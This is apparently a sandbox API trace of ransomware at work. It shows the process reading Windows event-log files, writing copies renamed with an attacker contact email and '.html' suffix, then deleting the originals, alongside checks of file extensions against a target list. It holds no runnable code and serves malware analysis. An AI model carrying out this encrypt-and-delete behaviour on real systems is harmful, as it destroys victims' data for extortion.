	[0073.469] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.470] GetLastError () returned 0x0
	[0073.470] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.472] WriteFile (in: hFile=0x33c, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.474] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.474] WriteFile (in: hFile=0x33c, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x134, lpOverlapped=0x0) returned 1
	[0073.474] SetEndOfFile (hFile=0x33c) returned 1
	[0073.474] CloseHandle (hObject=0x33c) returned 1
	[0073.476] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.476] SetEndOfFile (hFile=0x380) returned 1
	[0073.478] CloseHandle (hObject=0x380) returned 1
	[0073.478] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.478] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1
	[0073.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.478] lstrlenW (lpString=".doc") returned 4
	[0073.478] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.478] lstrlenW (lpString=".docx") returned 5
	[0073.478] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.478] lstrlenW (lpString=".pdf") returned 4
	[0073.478] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.478] lstrlenW (lpString=".xls") returned 4
	[0073.478] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.478] lstrlenW (lpString=".xlsx") returned 5
	[0073.478] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.478] lstrlenW (lpString=".ppt") returned 4
	[0073.479] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.479] lstrlenW (lpString=".zip") returned 4
	[0073.479] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString=".rar") returned 4
	[0073.479] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString=".bz2") returned 4
	[0073.479] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString=".7z") returned 3
	[0073.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.479] lstrlenW (lpString=".dbf") returned 4
	[0073.479] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.479] lstrlenW (lpString=".1cd") returned 4
	[0073.479] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.479] lstrlenW (lpString=".jpg") returned 4
	[0073.479] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.479] lstrlenW (lpString=".doc") returned 4
	[0073.479] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.479] lstrlenW (lpString=".docx") returned 5
	[0073.479] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.479] lstrlenW (lpString=".pdf") returned 4
	[0073.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString=".xls") returned 4
	[0073.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString=".xlsx") returned 5
	[0073.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.480] lstrlenW (lpString=".ppt") returned 4
	[0073.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.480] lstrlenW (lpString=".zip") returned 4
	[0073.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString=".rar") returned 4
	[0073.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString=".bz2") returned 4
	[0073.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString=".7z") returned 3
	[0073.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.480] lstrlenW (lpString=".dbf") returned 4
	[0073.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.480] lstrlenW (lpString=".1cd") returned 4
	[0073.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0073.480] lstrlenW (lpString=".jpg") returned 4
	[0073.480] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.480] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.481] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54
	[0073.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0073.481] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0073.481] CloseHandle (hObject=0x380) returned 1
	[0073.481] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0073.481] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0073.481] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.481] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.490] GetLastError () returned 0x0
	[0073.490] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.492] WriteFile (in: hFile=0x33c, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.494] ReadFile (in: hFile=0x380, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.494] WriteFile (in: hFile=0x33c, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x140, lpOverlapped=0x0) returned 1
	[0073.494] SetEndOfFile (hFile=0x33c) returned 1
	[0073.494] CloseHandle (hObject=0x33c) returned 1
	[0073.525] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.526] SetEndOfFile (hFile=0x380) returned 1
	[0073.999] CloseHandle (hObject=0x380) returned 1
	[0074.653] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.919] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1
	[0074.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.919] lstrlenW (lpString=".doc") returned 4
	[0074.919] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.919] lstrlenW (lpString=".docx") returned 5
	[0074.919] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.919] lstrlenW (lpString=".pdf") returned 4
	[0074.919] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.919] lstrlenW (lpString=".xls") returned 4
	[0074.919] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.919] lstrlenW (lpString=".xlsx") returned 5
	[0074.919] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.919] lstrlenW (lpString=".ppt") returned 4
	[0074.919] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.919] lstrlenW (lpString=".zip") returned 4
	[0074.920] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString=".rar") returned 4
	[0074.920] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString=".bz2") returned 4
	[0074.920] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString=".7z") returned 3
	[0074.920] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.920] lstrlenW (lpString=".dbf") returned 4
	[0074.920] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.920] lstrlenW (lpString=".1cd") returned 4
	[0074.920] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.920] lstrlenW (lpString=".jpg") returned 4
	[0074.920] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.920] lstrlenW (lpString=".doc") returned 4
	[0074.920] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString=".docx") returned 5
	[0074.920] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.920] lstrlenW (lpString=".pdf") returned 4
	[0074.920] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.920] lstrlenW (lpString=".xls") returned 4
	[0074.920] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString=".xlsx") returned 5
	[0074.921] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.921] lstrlenW (lpString=".ppt") returned 4
	[0074.921] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.921] lstrlenW (lpString=".zip") returned 4
	[0074.921] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString=".rar") returned 4
	[0074.921] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString=".bz2") returned 4
	[0074.921] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString=".7z") returned 3
	[0074.921] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.921] lstrlenW (lpString=".dbf") returned 4
	[0074.921] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.921] lstrlenW (lpString=".1cd") returned 4
	[0074.921] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0074.921] lstrlenW (lpString=".jpg") returned 4
	[0074.921] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.921] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.922] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51
	[0074.922] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.922] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0074.922] CloseHandle (hObject=0x364) returned 1
	[0074.922] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0074.922] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.922] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.923] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.923] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.923] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0074.923] GetLastError () returned 0x0
	[0074.923] ReadFile (in: hFile=0x364, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.926] WriteFile (in: hFile=0x320, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.929] ReadFile (in: hFile=0x364, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.929] WriteFile (in: hFile=0x320, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x13a, lpOverlapped=0x0) returned 1
	[0074.929] SetEndOfFile (hFile=0x320) returned 1
	[0074.929] CloseHandle (hObject=0x320) returned 1
	[0074.936] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.936] SetEndOfFile (hFile=0x364) returned 1
	[0074.938] CloseHandle (hObject=0x364) returned 1
	[0074.938] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.938] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1
	[0074.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.939] lstrlenW (lpString=".doc") returned 4
	[0074.939] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString=".docx") returned 5
	[0074.939] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.939] lstrlenW (lpString=".pdf") returned 4
	[0074.939] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString=".xls") returned 4
	[0074.939] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString=".xlsx") returned 5
	[0074.939] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.939] lstrlenW (lpString=".ppt") returned 4
	[0074.939] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.939] lstrlenW (lpString=".zip") returned 4
	[0074.939] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString=".rar") returned 4
	[0074.939] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString=".bz2") returned 4
	[0074.939] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString=".7z") returned 3
	[0074.939] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.939] lstrlenW (lpString=".dbf") returned 4
	[0074.939] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.940] lstrlenW (lpString=".1cd") returned 4
	[0074.940] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.940] lstrlenW (lpString=".jpg") returned 4
	[0074.940] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.940] lstrlenW (lpString=".doc") returned 4
	[0074.940] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString=".docx") returned 5
	[0074.940] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.940] lstrlenW (lpString=".pdf") returned 4
	[0074.940] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString=".xls") returned 4
	[0074.940] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString=".xlsx") returned 5
	[0074.940] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.940] lstrlenW (lpString=".ppt") returned 4
	[0074.940] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.940] lstrlenW (lpString=".zip") returned 4
	[0074.940] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.940] lstrlenW (lpString=".rar") returned 4
	[0074.940] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.941] lstrlenW (lpString=".bz2") returned 4
	[0074.941] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.941] lstrlenW (lpString=".7z") returned 3
	[0074.941] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.941] lstrlenW (lpString=".dbf") returned 4
	[0074.941] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.941] lstrlenW (lpString=".1cd") returned 4
	[0074.941] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0074.941] lstrlenW (lpString=".jpg") returned 4
	[0074.941] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.941] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.941] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42
	[0074.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.943] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0074.943] CloseHandle (hObject=0x364) returned 1
	[0074.943] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0074.943] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.943] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.943] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.944] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0074.947] GetLastError () returned 0x0
	[0074.947] ReadFile (in: hFile=0x364, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.950] WriteFile (in: hFile=0x320, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
